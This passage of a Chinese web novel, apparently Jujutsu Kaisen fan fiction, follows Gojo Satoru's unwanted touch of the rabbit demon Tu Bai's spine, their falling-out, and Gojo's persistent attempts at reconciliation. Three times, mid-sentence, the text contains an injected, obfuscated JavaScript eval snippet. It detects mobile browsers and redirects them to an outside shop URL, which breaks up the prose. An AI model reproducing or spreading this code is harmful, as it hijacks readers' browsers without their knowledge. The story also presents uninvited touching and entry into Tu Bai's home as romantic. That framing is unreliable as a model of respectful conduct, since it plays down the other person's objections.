两人对视,都笑了。餐厅柔和的灯光下,五条悟的冰蓝色眼睛显得很温柔,涂白的红眼睛也亮晶晶的。 气氛忽然变得有点暧昧。 五条悟看着涂白,涂白看着五条悟。谁都没说话,但谁都没移开视线。 服务生过来上甜品,打断了这个对视。 涂白低头吃甜品,心跳有点快。他偷偷看五条悟,五条悟也在看他,嘴角带着笑。 “你喝醉的样子挺可爱的。”五条悟说。 “……我没醉。” “耳朵都红了还说没醉。” 涂白摸耳朵,确实很烫。他不说话了,专心吃甜品。 吃完饭,两人离开餐厅。涂白酒劲上来了,走路有点晃。五条悟扶着他,打了辆车。 车上,涂白靠着车窗,迷迷糊糊地说:“今天很开心……谢谢前辈。” 五条悟侧头看他。涂白的脸还红着,眼睛半闭,长长的睫毛垂下来,看起来很乖。 五条悟心里某个地方软了一下。 “以后常带你吃好吃的。”他说,声音很轻。 “……嗯。” 车开到公寓楼下。涂白下车时脚软,五条悟赶紧扶住他。 “能走吗?”五条悟问。 “能……”涂白说,但整个人都靠在五条悟身上。 五条悟搂着他的腰,半抱半扶地把他带到楼下。夜晚的风吹过来,涂白缩了缩脖子。 “冷?”五条悟问。 “……有点。” 五条悟把他搂紧了些。两人站在楼道口,灯光从头顶照下来,在地上投出交叠的影子。 “上去吧。”五条悟说,“洗个热水澡,好好睡一觉。” 涂白点头,但没动。他抬头看五条悟,眼神有点迷蒙:“前辈……” “嗯?” “你……为什么对我这么好?” 五条悟愣了下,然后笑:“因为我乐意啊。” “就这样?” “就这样。”五条悟揉他头发,动作很温柔,“所以别想太多,乖乖接受就行。” 他的手从头发滑下来,轻轻抚过涂白的后颈。 然后,指腹无意间擦过了脊线顶端——那是兔妖本体最敏感的能量汇集带。 涂白浑身一颤。 像是触电一样的感觉,从脊椎窜上来,瞬间传遍全身。他整个人都僵住了,呼吸停了一拍。 五条悟感觉到了他的颤抖,手停住:“怎么了?” “……没。”涂白声音有点抖,“就是……有点冷。” 五条悟看了看他,没再追问。他收回手,拍拍涂白的背:“快上去吧。” “……嗯。” 涂白转身,刷卡进楼。电梯门关上之前,他看见五条悟还站在外面,双手插在口袋里,正看着他。 电梯上升。涂白靠在墙上,手摸着自己的后颈。 那里还残留着五条悟手指的温度。 还有刚才那一瞬间,那种过电般的感觉。 他闭上眼睛。 好像……真的有点不对劲了,他想。 19.第19章:敏感区 第二天早上涂白是被头痛弄醒的。 太阳穴一跳一跳地疼,嘴里发干,脑子里像塞了团棉花。他躺在床上,盯着天花板看了好一会儿,昨晚的记忆才一点点拼回来。 烛光晚餐。桃子酒。胡萝卜田的傻话。 还有……楼道口,五条悟的手,擦过他后颈的那一下。 涂白猛地坐起来,耳朵瞬间烧红了。 “我在干嘛……”他捂住脸,想起自己昨晚问“你为什么对我这么好”,还差点站不稳靠在五条悟身上。太丢人了。 手机在床头震了一下。涂白抓过来看,是五条悟发来的消息。 【醒了吗?头痛的话我有药。】 消息显示早上八点发的,现在十点半。涂白盯着屏幕看了几秒,脑子里闪过昨晚五条悟扶他时手臂的温度,还有那句“因为我乐意”。 他手指在键盘上悬着,最后还是打了两个字: 【没事。】 回得有点冷淡。但他现在确实不知道该怎么面对五条悟。 五条悟秒回:【真的?昨晚你喝了不少。】 涂白:【真的。】 五条悟:【那下午我去找你?今天没任务。】 涂白皱眉:【不用,我要复习,下周有考试。】 五条悟:【我陪你复习啊~反正我也没事干。】 涂白想拒绝,但五条悟又发来一条:【而且你昨天落了个文件在我这儿,那个咒具设计图,你不看了?】 ……确实。涂白想起来,昨晚回来的时候迷迷糊糊,文件夹好像忘在车上了。 他叹了口气:【几点?】 五条悟:【两点?顺便给你带醒酒汤,我家的秘方,超有效~】 涂白盯着“我家的秘方”这几个字,愣了下。五条悟很少提家里的事。他回:【哦。】 --- 下午两点,门铃准时响了。 涂白去开门。五条悟站在外面,还是那身休闲打扮,白色连帽卫衣,黑色长裤,墨镜架在鼻梁上。手里拎着个保温壶和纸袋。 “哟。”五条悟笑着进来,“头还疼吗?” “好多了。”涂白关上门。 五条悟把保温壶放在桌上:“醒酒汤,趁热喝。”又从纸袋里掏出文件夹,“你的文件。” 涂白接过:“谢谢。” “客气什么~”五条悟很自然地走到沙发边坐下,往后一靠,“你不是要复习吗?复习吧,我在这儿看着。” 涂白看了他一眼:“……你不用回去吗?” “不用啊,今天很闲。”五条悟掏出手机,“你复习你的,我玩我的。互不打扰~” 话是这么说,但涂白总觉得不太自在。他拿着书走到书桌前坐下,翻开笔记,但注意力集中不起来。 房间里很安静,只有翻书的声音和五条悟偶尔按手机的声音。阳光从窗户照进来,落在书桌上,暖洋洋的。 涂白强迫自己看进去。下周的考试很重要,是关于日本古典文学的,他背了好几天的《源氏物语》选段,现在脑子里一片空白。 “《源氏物语》啊。”五条悟的声音突然在身后响起。 涂白吓了一跳,转头。五条悟不知道什么时候走过来了,正站在他椅子后面,俯身看他摊开的书。 “你吓到我了。”涂白说。 “抱歉~”五条悟笑,手很自然地搭在椅背上,“我也读过一点,紫式部写得确实不错,就是人物关系太乱了。” “你也读过?” “好歹是最强。”五条悟说,“自然是各方面都是咯。” 涂白有点意外。他没想到五条悟会认真读书——他一直以为五条悟是那种靠天赋碾压一切的家伙。 “你……喜欢看书?”涂白问。 “偶尔。”五条悟说,“任务间隙会看看。小说、历史、哲学什么的都看点。” 他说这话的时候,手从椅背上滑下来,很自然地放在了涂白肩上。 涂白身体僵了一下。 五条悟感觉到了,但没拿开手,反而轻轻捏了捏他的肩膀:“你这里很紧,复习压力大?” “……有点。” “放松点。”五条悟说,“你那么聪明,肯定能考好。” 他的手在涂白肩上按了按,力道适中,确实有点放松的效果。但涂白的注意力完全不在复习上了。 他感觉五条悟的手很热,透过衣服布料传过来。还有五条悟说话时呼出的气息,喷在他耳侧,有点痒。 “前辈……”涂白小声说,“你这样我没办法复习。” “哦?那要怎么样?”五条悟的声音里带着笑意。 “就……别碰我。” 五条悟顿了顿,然后手拿开了。但没走开,还是站在涂白身后。 安静了几秒。 涂白重新看向书,但一个字都看不进去。他感觉五条悟的视线落在他背上,像有实质的重量。 然后,五条悟开口了。 “小白。” “嗯?” “你脊背很敏感?” 涂白手一抖,笔掉在桌上。 他慢慢转过头,看向五条悟。五条悟也正看着他,墨镜滑下一点,冰蓝色的眼睛从镜片上方露出来,眼神里带着探究。 “为什么……这么问?”涂白听见自己的声音有点干。 “昨晚。”五条悟说,“在楼下,我碰到你后颈的时候,你抖了一下。” 他伸出手,很自然地放在涂白后颈上,就像昨晚那样。 “这里?”五条悟问,手指轻轻按了按。 涂白整个人都僵住了。 后颈是兔妖的敏感区之一,但还不是最敏感的。最敏感的是整条脊线——从后颈到尾椎,是妖力循环的核心通路。 “我……”涂白想说话,但喉咙发紧。 五条悟的手没拿开,反而顺着他的脊柱线条,缓缓往下抚摸。 动作很轻,很慢。 掌心完整贴合脊线,从颈椎一路滑到尾椎。 涂白脑子里“嗡”的一声。 像是有什么开关被打开了。 妖力——完全不受控制地炸开。 银色光屑从他身上爆发出来,像烟花一样炸满整个房间。书桌、椅子、地板、天花板——所有东西表面都开始闪烁银光,构筑物失控地闪现又消失。 一把椅子变成了胡萝卜形状。 书桌上的笔筒变成了兔子耳朵。 窗户上结出了银色的藤蔓花纹。 更糟的是—— 涂白感觉到…… 他腿一软,差点从椅子上滑下去。 时间仿佛凝固了。 涂白低头,看着自己裤子上…… 他脸色由红转白,再由白转红。 五条悟也愣住了。他的手还停在涂白背上,动作僵在那里。他低头,看到了涂白裤子上的……,又抬头,看向涂白的脸。 涂白的表情——羞耻、震惊、茫然,混杂在一起。 五条悟张了张嘴,想说点什么,但没发出声音。 涂白猛地站起来,动作快得带倒了椅子。他一把推开五条悟,力气大得惊人,五条悟被推得踉跄了一步。 “小——” 涂白没让他说完,转身冲进浴室,“砰”地关上门,反锁。 五条悟站在客厅里,看着关上的浴室门,又低头看了看自己的手。 掌心还残留着涂白脊背的温度和触感。 还有刚才那一瞬间,涂白身上爆发的妖力——强烈,混乱,带着某种……五条悟说不清的感觉。 他走到浴室门口,抬手想敲门,但手停在半空。 里面传来水声。 还有压抑的、细微的抽泣声。 五条悟的手慢慢放下来。 他站了一会儿,然后走到沙发边坐下,双手撑在膝盖上,低着头。 墨镜滑下来,挂在鼻尖。冰蓝色的眼睛里一片茫然。 他刚才……做了什么? 不就是碰了一下脊背吗? 为什么涂白反应那么大? 还有那个反应…… 五条悟皱眉。他不是不知道那是什么。他只是没想到会这么……强烈。 而且是在这种时候。 浴室里的水声停了。安静了几分钟,门开了。 涂白走出来。 他换了身衣服——灰色的运动裤和黑色T恤,头发湿漉漉的,还在滴水。脸上没什么表情,眼睛有点红,但没哭过的痕迹。 他看都没看五条悟,径直走到门口,拉开门。 “请离开。”涂白说,声音很冷。 五条悟站起来:“小白,我——” “出去。”涂白打断他,声音在发抖。 五条悟看着他。涂白的脸苍白,嘴唇紧抿,手指抓着门框,指节发白。 “我不是故意——”五条悟想解释。 “我不想听。”涂白说,“请你现在离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123762|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开。” 五条悟沉默了几秒,然后点头。 他走到门口,在涂白身边停了一下,想说什么,但最后还是什么都没说,走了出去。 门在身后关上。 五条悟站在楼道里,听着门内反锁的声音。 他站了一会儿,然后转身下楼。 走到楼下,他抬头看了看涂白公寓的窗户。窗帘拉着,什么都看不见。 五条悟掏出手机,想发条消息,但手指停在屏幕上,半天没动。 最后他收起手机,双手插进口袋,走了。 --- 门内,涂白背靠着门板,慢慢滑坐在地上。 他把脸埋进膝盖里,肩膀开始发抖。 羞耻。 愤怒。 自我厌恶。 各种情绪混在一起,像潮水一样把他淹没。 他怎么可以……怎么可以那样? 在五条悟面前,因为一个触碰,就…… 涂白咬住嘴唇,咬得很用力,几乎尝到血腥味。 他想起刚才五条悟的表情——震惊,茫然,还有一丝……困惑? 五条悟肯定觉得他很奇怪吧。 不,不止奇怪。是恶心。 一个男的,因为被碰了下脊背,就…… 涂白把脸埋得更深,手指插进头发里,用力揪着。 浴室里,他刚才换下来的裤子还扔在地上。那块……刺眼得要命。 他站起来,冲进浴室,抓起裤子塞进垃圾桶,又觉得不够,把整个垃圾桶的袋子都拎出来,打了个死结,扔到门口。 然后他回到客厅,看着满屋子的银色残迹。 胡萝卜椅子。兔子耳朵笔筒。藤蔓花纹。 都是他妖力失控的证据。 涂白闭上眼睛,深吸一口气,然后抬手。银色妖力涌出,一点点把那些构筑物抹去,把房间恢复原样。 做完这些,他又瘫坐在地上。 手机在书桌上震了一下。 涂白没动。 又震了一下。 他还是没动。 手机震了第三下,然后停了。 涂白不知道是谁,可能是五条悟,也可能是别的人,但他现在不想看,不想回,不想面对。 他只想一个人待着。 窗外的阳光慢慢西斜,房间里的光线暗下来。涂白坐在地上,背靠着沙发,盯着地板上的某个点,看了很久。 脑子里反复回放刚才的场景。 五条悟的手。 脊背的触感。 妖力炸开。 还有…… 涂白闭上眼睛。 他想起昨晚在餐厅,五条悟说“你喝醉的样子挺可爱的”。 想起在京都,五条悟说“我家兔子可爱吧”。 想起更早之前,五条悟说“我会照顾好你弟弟”。 为什么? 涂白睁开眼睛,看着天花板。 为什么五条悟要对他这么好? 为什么他要对五条悟的反应这么大? 为什么……心会这么乱? 手机又震了一下。这次不是消息,是电话。 涂白看了一眼屏幕——是涂宝。 他犹豫了一下,还是接了。 “喂,哥。” “二宝!”涂宝的声音带着哭腔,“你怎么不接电话?我打了三个!我以为你出事了!” “……我没事。”涂白说,“刚才在洗澡。” “真的?” “真的。” 涂宝松了口气,但马上又问:“你声音怎么了?听起来不对劲。” “有点感冒。”涂白撒谎,“昨天着凉了。” “那你要多喝热水!吃药了吗?要不要我过去照顾你?” “不用。”涂白说,“我睡一觉就好。” “真的?” “真的。” 涂宝又叮嘱了几句,才挂了电话。 涂白放下手机,靠在沙发上。 窗外,天完全黑了。 他站起来,走到窗边,拉开一条缝往下看。 楼下空荡荡的,没有人。 五条悟没在。 涂白说不清自己是松了口气,还是……有点失望。 他拉上窗帘,回到卧室,倒在床上。 闭上眼睛,脑子里还是五条悟的脸。 还有那句话。 “你脊背很敏感?” 20.第20章:他喜欢涂白 涂白把五条悟拉黑了。 Line,电话,短信——所有能想到的联系方式,全部拉黑。做完这些,他给伊地知发了条消息,说身体不舒服,接下来一周的任务全部请假。然后把手机关机,扔到沙发角落。 他把自己关在公寓里,窗帘拉得严严实实,灯也不开。第一天就这样过去了。 --- 五条悟早上给涂白发消息,发现消息发不出去了。 他盯着屏幕上那个红色的感叹号,愣了两秒,然后笑了。 “反应这么大?”他自言自语。 他换了个号码发:【小白,昨天的事对不起。我不知道你那么敏感。】 消息显示已读,但没回复。 五条悟等了一会儿,又发:【至少回个消息?】 这次连已读都没有了。 五条悟皱了下眉,但没太在意。他想,涂白可能还在生气,过两天就好了。 他照常去出任务,下午回高专开会。会议很无聊,老头子们絮絮叨叨说个没完。五条悟坐在椅子上,腿翘在桌上,玩手机。他习惯性地想给涂白发消息分享吐槽,打到一半才想起来被拉黑了。 他把打好的字删掉,手机扔回口袋。 晚上回家,路过那家卖芒果慕斯的店,他进去买了一份。拎着盒子站在涂白公寓楼下,他给涂白打电话。 关机。 五条悟在楼下站了十分钟,然后拎着甜品走了。那盒慕斯最后进了垃圾桶——人家都不理自己。 第二天 五条悟直接去涂白公寓敲门。 敲了三分钟,没人开。 他知道涂白在里面——六眼能感知到里面的生命能量,虽然很微弱,但确实在。 “小白?”他喊,“开门,我们谈谈。” 里面没动静。 五条悟又敲了一会儿,还是没反应。他有点烦躁了。 “涂白,”他声音沉了点,“我知道你在里面。开门。” 依然没动静。 五条悟抬手想用术式开门,但手停在半空,最后还是放下来了。他转身走了。 回去的路上,他买了杯咖啡,喝了一口就皱眉——太苦了。他想起涂白不爱喝苦的,每次点咖啡都要加三包糖。 他把咖啡扔了。 第三天 五条悟问伊地知:“涂白请了多久的病假?” 伊地知推了推眼镜,声音小心:“一周。他说身体不舒服。” “什么病?” “没说。” 五条悟盯着伊地知看了一会儿,直到伊地知额头冒汗,才移开视线。 他去了涂白常去的几家店——那家甜品店,那家拉面店,还有东大附近的书店。都没见到人。 下午他去东大,找到涂白的导师。 “涂白君?”导师扶了扶眼镜,“他请假了,说感冒。下周的考试可能会延期。” “感冒?”五条悟挑眉。 “嗯,电话里声音听起来是有点鼻塞。”导师说,“您是?” “朋友。”五条悟说,“谢谢。” 他走出教学楼,站在校园里,看着来来往往的学生。涂白也是他们中的一员,穿着简单的衣服,背着书包,走在这些路上。 五条悟忽然发现,他对涂白的了解其实很有限。他不知道涂白平时上课坐哪个位置,不知道他和哪些同学关系好,不知道他除了芒果还喜欢什么。 他只知道涂白怕咒灵,构筑术式很厉害,耳朵敏感,脊背更敏感。 还有,生气的时候会拉黑人。 五条悟掏出手机,又给涂白发了一条消息(用另一个新号码):【感冒了?药吃了吗?】 没回复。 他收起手机,双手插在口袋里,走了。 第四天 五条悟去了那家他们常去的甜品店。 下午三点,店里人不多。他坐在老位置——靠窗的卡座,对面是空椅子。 服务员过来点单,是个年轻女孩,认识他。 “五条先生,今天一个人?那位黑头发的先生没来?” 五条悟抬头看她:“嗯,他生气了。” 女孩笑了:“吵架了吗?是很重要的人吧?要好好道歉呀。” “很重要的人?”五条悟重复。 “不是吗?”女孩说,“您每次来都坐这个位置,每次都点两份甜品,一份芒果的给他。他吃的时候您就看着他笑。不是很重要的人怎么会这样?” 五条悟愣住了。 女孩去准备甜品了。五条悟坐在那里,盯着对面空荡荡的椅子。 他想起第一次带涂白来这家店,涂白盯着菜单看了很久,最后小声说“太贵了”。他点了最贵的几样,涂白吃的时候眼睛亮亮的,像小孩子。 他想起涂白喝醉的那天,脸红红的,说想当胡萝卜农夫。他笑了,涂白就瞪他,但耳朵是红的。 他想起在京都,涂白坐在他旁边看比赛,手指在桌上构筑沙盘,认真分析战术的样子。那时候他觉得,我家兔子真厉害。 还有那天,涂白被他碰了脊背,整个人僵住,妖力炸开的样子。那时候他只觉得有趣,想知道更多。 但现在—— 五条悟看向玻璃窗。窗上映出他的倒影:白头发,墨镜,没什么表情的脸。 他摘下墨镜。 冰蓝色的眼睛看着玻璃里的自己。 不是“有趣”,不是“玩具”,不是“搭档”。 是“很重要的人”啊。 是想要他在身边,对他笑,对他生气,只看着他的人。 是如果他不在了,会觉得空落落的人。 五条悟低声说:“啊……原来是这么回事。” 他喜欢涂白。 不是觉得有趣的那种喜欢,是真正的、想要在一起的喜欢。 服务员端着甜品过来,看到五条悟的表情,愣了下:“五条先生?您没事吧?” 五条悟重新戴上墨镜,笑了:“没事。谢谢你的甜品。” 他吃了一口,还是那么甜,但今天觉得没那么难吃了。 吃完甜品,他走出店门,站在街边,掏出手机。 这次他用了一个全新的号码,打了很长一段话,删删改改,最后只留下一句: 【对不起。我知道错了。让我见你一面,好吗?】 发送。 他等了一个小时。 没回复。 五条悟第一次感觉到,什么叫“无力”。 不是打不过咒灵的那种无力,也不是说服不了老橘子们的那种无力。 而是明明想靠近,却被人推开的无力。 以及完全不知道该怎么办的无力。 他收起手机,走了。 第五天 五条悟换了方式。 他买了一份可丽饼,刚做好的,还热着。然后他去了涂白公寓楼下,抬头看了看那扇窗户。 术式发动。 他穿过了墙壁,直接进了涂白卧室。 涂白还在睡。侧躺着,蜷成一团,脸埋在枕头里,黑发乱糟糟的。呼吸很轻。 五条悟站在床边,看了他一会儿。 然后他把可丽饼放在床头柜上,又从口袋里掏出一张便签纸,用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129130|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笔写下一行字。 他的字很丑,歪歪扭扭的,像小学生写的。 【对不起,我不知道那里是你的开关。】 写完,他把便签纸压在可丽饼盒子下面,又看了一眼涂白,然后穿墙离开了。 --- 涂白醒来的时候,闻到了甜香味。 他睁开眼睛,看见床头柜上放着一个纸盒。坐起来,拿起盒子打开,里面是可丽饼,还是温热的。 盒子上压着一张便签纸。 他拿起来看。 字丑得要命,但他认得出来是谁写的。 “这算什么道歉?!”涂白气得把便签纸揉成一团,扔到地上。 他把可丽饼盒子盖上,下床,走到厨房,打开垃圾桶,把整个盒子扔进去。 然后他回到卧室,坐在床上生闷气。 什么“开关”?那是什么糟糕的说法! 还有,五条悟居然直接用术式穿墙进来?这是非法入侵吧?! 涂白越想越气,但肚子不争气地叫了一声。 他看了一眼时间——中午十二点半。他这几天都没怎么好好吃饭,冰箱里空了也没去买。 他又看了一眼垃圾桶。 可丽饼的香味从垃圾桶里飘出来。 涂白咬着嘴唇,站起来,走到厨房,站在垃圾桶前。 他盯着那个盒子看了三分钟。 然后弯腰,把它捡了出来。 盒子有点脏了,但里面的可丽饼用纸包着,还是干净的。他拿出来,放进微波炉加热。 “叮”的一声。 涂白拿出可丽饼,咬了一口。 奶油很甜,草莓新鲜,饼皮软软的。 “难吃死了……”他小声说,但接着又立马咬了一大口。 吃着吃着,眼泪就掉下来了。 他一边哭一边吃,嘴里含含糊糊地说:“呜,明明很好吃……混蛋……” 吃完可丽饼,他把盒子重新扔回垃圾桶,洗了把脸,坐回沙发上。 下午三点,墙上突然浮现出一行字。 是用术式写的,银蓝色的光,在墙面上闪烁: 【奶茶要什么口味?】 涂白吓了一跳,从沙发上跳起来。 他盯着那行字,咬牙:“五条悟!你给我出来!” 字消失了。 过了一会儿,又浮现一行新字: 【芒果的?还是珍珠的?】 涂白抓起一个抱枕扔向那面墙:“你别再玩这种把戏了!” 抱枕穿过墙壁——字是用术式投射的,不是实物。 墙上又出现字: 【那就芒果珍珠各一杯。】 “我不喝!”涂白喊。 字消失。房间里安静下来。 涂白喘着气,盯着墙,等了十分钟,没再有字出现。 他以为五条悟放弃了,刚松口气,就听见厨房传来“咚”的一声。 他跑过去看。 两杯奶茶放在料理台上,杯壁上还挂着水珠,是冰的。旁边又有一张便签纸: 【冰的,解暑。】 涂白抓起便签纸,揉成一团,对着空气喊:“别再用术式闯进我家了!” 他喊完,等了一会儿。 墙上慢慢浮现出一行新的字。 这次字很大,几乎占满了整面墙: 【那你开门见我?】 字闪着光,在昏暗的房间里很刺眼。 涂白盯着那行字,手指紧紧攥着衣角。 他张了张嘴,想说什么,但没发出声音。 字还在那里,闪着,等着。 21.第21章:苦肉计 第六天,东京下暴雨。 早上就开始下,雨点砸在窗户上噼里啪啦响,天空灰得像要塌下来。涂白坐在沙发上,抱着抱枕看电视,但什么都没看进去。 他时不时看一眼手机——还是关机的。又看一眼窗户。 雨太大了,街上一个人都没有。 涂白想,这种天气,五条悟应该不会来了吧。 他昨天对着墙上的字看了很久,最后什么也没回,转身回了卧室。那两杯奶茶放在料理台上,他没碰,后来冰化了,杯子外壁凝了一层水珠,滴滴答答往下淌。 傍晚五点,雨还没停,反而更大了。天阴沉得像是晚上。 涂白走到窗边,拉开一条缝往外看。 然后他僵住了。 楼下,那个白毛身影就站在那儿。 五条悟没打伞,穿着一件黑色的长袖T恤和休闲裤,已经全湿透了。头发贴在脸上、脖子上,衣服紧贴着身体,能看见肩膀和手臂的轮廓。他就那么站着,仰着头,看着涂白窗户的方向。 雨太大,涂白看不清他的表情。 他站在窗后,手抓着窗帘,指节发白。 “疯了吧……”涂白低声说。 五条悟是特级咒术师,有无下限术式,怎么可能被雨淋湿?他明明可以用术式把雨隔开。 除非……他故意的。 涂白脑子里闪过这个词:苦肉计。 肯定是苦肉计。五条悟知道他心软,知道他会心疼,所以故意淋雨,故意站在楼下,等他下去。 卑鄙。 涂白咬着嘴唇,盯着楼下那个身影。 五条悟一动不动。雨打在他身上,顺着头发、脸颊往下淌,在地上溅起水花。 涂白在窗后站了半小时。 这半小时里,他脑子里一直在打架。 一个声音说:别管他,他是故意的,他就是想让你下去。 另一个声音说:可是雨这么大,他会感冒的。 第一个声音说:他是五条悟,感冒了也能用反转术式治好。 第二个声音说:但他现在没用术式,他就是站在那儿淋雨。 涂白抓着自己的手臂,指甲陷进肉里。 为什么这么难受? 为什么看着那个湿透的身影,胸口会闷得喘不过气? 为什么……这么想冲下去把他拉进来? 又过了十分钟。 五条悟还是没动。雨也没停。 涂白突然转身,冲到门口,抓起鞋柜上的伞,推开门冲下楼。 他跑得太急,拖鞋差点掉了。楼道里回荡着他“咚咚咚”的脚步声。 推开单元门,暴雨的声音瞬间涌进来,震耳欲聋。 涂白撑开伞,冲进雨里,跑到五条悟面前。 雨太大,伞根本挡不住,他的裤腿和袖子很快就湿了。 五条悟看见他,愣了下。 涂白把伞举高,遮住五条悟头顶,然后对着他吼:“你是笨蛋吗?!不会用术式挡雨吗?!站这儿淋雨很帅吗?!” 他的声音虽然被雨声盖掉一半,但还是很大。 五条悟看着他,脸上全是雨水,睫毛湿成一绺一绺的。他抬手抹了把脸,然后笑了。 那个笑——涂白说不清是什么感觉。像是松了口气,又像是……很开心? “你终于肯见我了。”五条悟说,声音有点哑。 涂白把伞塞到他手里,转身要走:“伞给你,快回去。” 五条悟没接伞,而是伸手拉住他手腕。 他的手很冰,全是雨水。 涂白僵住。 “小白,”五条悟说,声音很轻,但在雨声里听得很清楚,“我们谈谈。” “没什么好谈的。” “有。”五条悟抓得很紧,“那天的事,我要道歉。还有……这几天的事。” 涂白想抽回手,但五条悟没放。 两人在雨里僵持着。伞掉在地上,被风吹得滚了几圈。 涂白浑身都湿透了。雨水顺着头发流进眼睛里,涩得他眨眼。 然后五条悟突然打了个喷嚏。 很响的一个喷嚏。 打完,他吸了吸鼻子,眼睛有点红。 涂白愣住了。 五条悟……打喷嚏? 最强咒术师,真的感冒了? 五条悟又打了个喷嚏,这次声音小了点,但鼻尖明显红了。他松开涂白的手,揉了揉鼻子,表情有点尴尬。 “抱歉。”他说。 涂白盯着他看。 五条悟的头发全湿了,贴在额头和脸颊上,发梢还在滴水。睫毛湿漉漉的,眼睛被雨水冲得有点红。鼻尖红红的,嘴唇也有点白。 看起来……很狼狈。 也很……可怜。 涂白胸口那点怒气,突然就散了。 他咬了咬牙,弯腰捡起伞,塞回五条悟手里,然后转身往单元门走。 走了两步,他回头,对还站在雨里的五条悟吼:“进来!感冒了别传染给我!” 五条悟眼睛一亮。 他快步跟上来,跟着涂白进了楼。 --- 楼道里很安静,只有两人湿衣服滴水的声音。涂白走在前面,五条悟跟在后面,两人都没说话。 上到三楼,涂白开门进屋。五条悟站在门口,有点犹豫。 “进来啊。”涂白回头瞪他,“还要我请你?” 五条悟赶紧进来,顺手带上门。 涂白扔给他一条毛巾:“擦擦。” 五条悟接过毛巾,擦头发。他的视线在客厅里扫了一圈,然后停住了。 柜子最显眼的位置,摆着那个Q版五条悟玩偶。 涂白自己做的那个,白发,小墨镜,迷你高专制服,手里捏着喜久福。 玩偶被擦得很干净,摆在柜子正中央,周围什么都没放,像在展示什么宝贝。 五条悟看着那个玩偶,嘴角不自觉地扬起来。 涂白顺着他的视线看过去,脸“唰”地红了。 “看什么看!”他冲过去想把玩偶收起来,但五条悟动作更快,先一步拿起了玩偶。 “你还留着啊。”五条悟说,声音里带着笑意。 “还给我!”涂白去抢。 五条悟把玩偶举高——身高差这时候就显出来了,涂白够不着。 “挺可爱的嘛。”五条悟笑,“原来你这么喜欢我啊?” “谁喜欢你了!”涂白跳起来抢,“那是我自己做的!” “可是这是我的样子啊。”五条悟把玩偶拿下来,抱在怀里,“你都把我的样子摆在这么显眼的地方了,还说不是喜欢我?” 涂白气得说不出话,转身进了厨房。 五条悟跟着走到厨房门口,靠在门框上,看着涂白翻箱倒柜找东西。 “你干嘛?”他问。 “煮姜茶。”涂白头也不回,“感冒了别传染给我。” 五条悟笑了:“不用,我——” “闭嘴。”涂白打断他,“不想喝就出去。” 五条悟闭嘴了。 涂白找出姜和红糖,烧水,切姜片。全程背对着五条悟,一句话不说。 厨房里只有水烧开的声音和切姜的“咚咚”声。 五条悟站在门口,看着涂白的背影。涂白的衣服也湿了,贴在身上,能看见脊背的线条。头发还在滴水,滴在地板上。 他握了握手里的毛巾,走过去,轻轻盖在涂白头上。 涂白动作一顿。 “头发还在滴水。”五条悟说,声音很轻,“擦擦。” 涂白没说话,但也没把毛巾拿掉。 姜茶煮好了。涂白倒了一杯,塞到五条悟手里:“喝。” 五条悟捧着杯子,很烫。他吹了吹,喝了一小口,辣得皱眉。 “全喝完。”涂白说。 五条悟老老实实喝完。喝完,他放下杯子,看着涂白。 涂白还是背对着他,在洗锅。 “小白。”五条悟开口。 涂白动作停了停,但没回头。 “那天的事,对不起。”五条悟说,“我不知道那里对你来说那么……重要。” 他停顿了一下,继续说:“我只是觉得你反应很有意思,想看看你还会有什么反应。但我没考虑到你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134517|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感受。对不起。” 涂白没说话。 厨房里很安静,只有水龙头的水声。 过了很久,涂白关了水龙头,背对着五条悟,小声说:“不只是重要。” “嗯?” “那里……是兔妖的能量核心。”涂白的声音很轻,“脊线,从后颈到尾椎,是妖力循环的主要通路。等同于……等同于你们人类被直接触碰灵魂。” 五条悟愣住了。 “所以,”涂白继续说,声音有点抖,“那天……不是普通的生理反应。是妖力暴走,是本能,是……” 他说不下去了。 五条悟终于彻底明白了。 为什么涂白反应那么大。 为什么那么羞耻,那么愤怒。 不是因为被碰了敏感的部位,是因为被碰到了最核心、最私密的地方。 就像有人直接把手伸进他的灵魂里搅了一圈。 五条悟放下茶杯,走到涂白身后。 他没碰他,只是站在那儿,轻声说:“我以后会注意边界,不会随便碰你了。” 涂白肩膀一颤。 “除非你允许。”五条悟补充,“我会等你愿意的时候。” 涂白没说话,但耳朵红了。 --- 雨不知道什么时候停了。 窗外透进来夕阳的光,金红色的,洒在厨房地板上。 五条悟突然打了个喷嚏。 涂白回头看他:“还没好?” 五条悟揉揉鼻子:“好像……真感冒了。” 涂白皱眉:“你不是会反转术式吗?” “啊,”五条悟眨眨眼,“忘了。” 他抬手,指尖泛起淡淡的蓝光,在鼻子前晃了晃。几秒钟后,他吸了吸鼻子:“好了。” 涂白:“……” 这人绝对是故意的。 